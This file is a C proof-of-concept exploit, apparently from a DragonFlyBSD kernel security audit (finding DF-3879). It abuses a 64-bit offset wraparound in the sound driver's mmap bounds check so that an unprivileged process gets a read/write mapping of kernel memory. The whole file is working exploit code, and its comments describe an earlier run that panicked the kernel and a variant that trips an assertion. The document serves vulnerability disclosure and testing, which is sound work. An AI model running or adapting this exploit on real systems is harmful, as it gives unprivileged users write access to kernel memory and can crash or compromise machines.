โฌข DragonFlyBSD Kernel Audit
DF-3879 / mmap_alias_rw.c
โ† back to finding โ†“ download raw
/*
 * DF-3879 kernel-path PoC (variant A, non-fatal on INVARIANTS kernels):
 * proves ON THE LIVE KERNEL that dsp_mmap_single()'s bounds check
 * (dsp.c:2342) is bypassed by a 64-bit wrap, and that the resulting
 * mapping aliases KERNEL memory (the sound soft buffer) read/write.
 *
 *   size      = 0x100000000          (4 GiB, mappable user VA)
 *   user_off  = 0xFFFFFFFF00000000   (2^64 - 2^32)
 *   sum       = size + user_off = 0  (wraps)  <= bufsize  -> check PASSES
 *   ofs       = (u32)user_off  = 0   -> sndbuf_getbufofs -> wild = b->buf + 0
 *
 * The fixed check (*offset > bufsize -> EINVAL) rejects user_off=0xFFFFFFFF00000000
 * outright. The buggy check lets it through, and the pager maps the kernel
 * soft buffer KVA into our PTEs RW.
 *
 * Proof of aliasing: write a magic pattern through the WILD mapping (p1),
 * read it back through the LEGITIMATE offset-0 mapping (p2), and vice
 * versa. If the pattern crosses, p1 is kernel memory.
 *
 * run: ./mmap_alias_rw   (unprivileged; needs any pcm device, /dev/dsp 0666)
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int main(void)
{
	const uint64_t wild_off = 0xFFFFFFFF00000000ULL; /* 2^64 - 2^32 */
	const uint64_t size     = 0x100000000ULL;        /* 4 GiB      */
	const char magic[] = "DF3879-WILD-ALIAS-PROOF!";

	printf("[*] DF-3879 variant A2: wrapped-offset kernel-alias proof"
	       " (prepared channel)\n");
	printf("    off      = 0x%016llx\n", (unsigned long long)wild_off);
	printf("    size     = 0x%llx\n", (unsigned long long)size);
	printf("    sum      = 0x%016llx (wraps mod 2^64; <= bufsize -> dsp.c:2342 PASSES)\n",
	       (unsigned long long)(wild_off + size));
	printf("    ofs      = (u32)off = 0x%x  ->  wild = b->buf + 0\n",
	       (unsigned int)wild_off);

	int fd = open("/dev/dsp", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/dsp: %s (errno=%d)\n", strerror(errno), errno);
		return 2;
	}
	printf("[+] open(\"/dev/dsp\", O_RDWR) ok (0666 cdev)\n");

	/*
	 * Classic OSS setup: allocate the soft buffer (bufsoft->buf) via
	 * chn_resizebuf/sndbuf_remalloc.  At fresh open bufsoft->buf == NULL
	 * (chn_init calls sndbuf_setup(bs, NULL, 0), channel.c:1247) โ€” the
	 * first run of this PoC without this dance panicked in pmap_kextract
	 * walking vtophys(NULL+0) (see panic.pmap.txt).
	 */
	int fmt = AFMT_S16_LE, ch = 2, sp = 44100;
	audio_buf_info oi;
	if (ioctl(fd, SNDCTL_DSP_SETFMT, &fmt) < 0 ||
	    ioctl(fd, SNDCTL_DSP_CHANNELS, &ch) < 0 ||
	    ioctl(fd, SNDCTL_DSP_SPEED, &sp) < 0) {
		printf("[-] dsp setup ioctl: %s (errno=%d)\n",
		       strerror(errno), errno);
		return 2;
	}
	if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &oi) < 0) {
		printf("[-] GETOSPACE: %s (errno=%d)\n", strerror(errno), errno);
		return 2;
	}
	printf("[+] OSS setup ok: fragsize=%d fragments=%d bytes=%d (bufsoft allocated)\n",
	       oi.fragsize, oi.fragments, oi.bytes);
	if (oi.bytes <= 0) {
		printf("[-] bufsoft empty โ€” refusing to continue\n");
		return 2;
	}

	/* p1: the ATTACK mapping โ€” 4GiB @ wrapped offset the check must reject */
	void *p1 = mmap(NULL, (size_t)size, PROT_READ | PROT_WRITE,
			MAP_SHARED, fd, (off_t)wild_off);
	if (p1 == MAP_FAILED) {
		printf("[-] wild mmap: %s (errno=%d) โ€” check NOT bypassed?\n",
		       strerror(errno), errno);
		close(fd);
		return 3;
	}
	printf("[!] ATTACK mmap(wrapped off=0xFFFFFFFF00000000, size=4GiB) SUCCEEDED"
	       " โ€” dsp.c:2342 bypassed\n");

	/* p2: the LEGITIMATE feature mapping (offset 0) of the same
	 * buffer โ€” independent userspace view of b->buf */
	size_t p2len = (oi.bytes >= 4096) ? 4096 : (size_t)oi.bytes;
	void *p2 = mmap(NULL, p2len, PROT_READ | PROT_WRITE,
			MAP_SHARED, fd, 0);
	if (p2 == MAP_FAILED) {
		printf("[*] legit mmap(off=0): %s (errno=%d) โ€” continuing with p1 only\n",
		       strerror(errno), errno);
		p2 = NULL;
	} else {
		printf("[+] legit mmap(off=0, 4096) ok โ€” same kernel buffer, second view\n");
	}

	/* write the magic through the WILD mapping (kernel write) */
	strcpy((char *)p1, magic);
	printf("[*] wrote  \"%s\" through ATTACK mapping\n", magic);

	int rc = 0;
	if (p2) {
		if (memcmp(p2, magic, sizeof(magic)) == 0) {
			printf("[!!] PATTERN VISIBLE THROUGH LEGIT MAPPING:"
			       " attack mapping ALIASES KERNEL MEMORY b->buf RW\n");
		} else {
			printf("[-] pattern NOT visible via legit mapping"
			       " (p2 differs โ€” see hexdump)\n");
			for (int i = 0; i < 32; i++)
				printf("%02x ", ((unsigned char *)p2)[i]);
			printf("\n");
			rc = 4;
		}
		/* reverse direction: modify through legit view, read via wild */
		strcpy((char *)p2, "LEGIT-VIEW-WRITE");
		if (memcmp(p1, "LEGIT-VIEW-WRITE", 16) == 0)
			printf("[!!] REVERSE CROSS-CHECK ok โ€” same physical page, RW\n");
	} else {
		/* fallback: only wild view โ€” at least show it is readable memory */
		printf("[*] p1[0..15] = \"%.16s\" (kernel soft-buffer content)\n",
		       (char *)p1);
	}

	printf("[*] note: ofs 0x0 < bufsize, so this variant survives INVARIANTS;"
	       " variant B (ofs=0x10000000 >= bufsize) hits the KASSERT.\n");
	close(fd);
	return rc;
}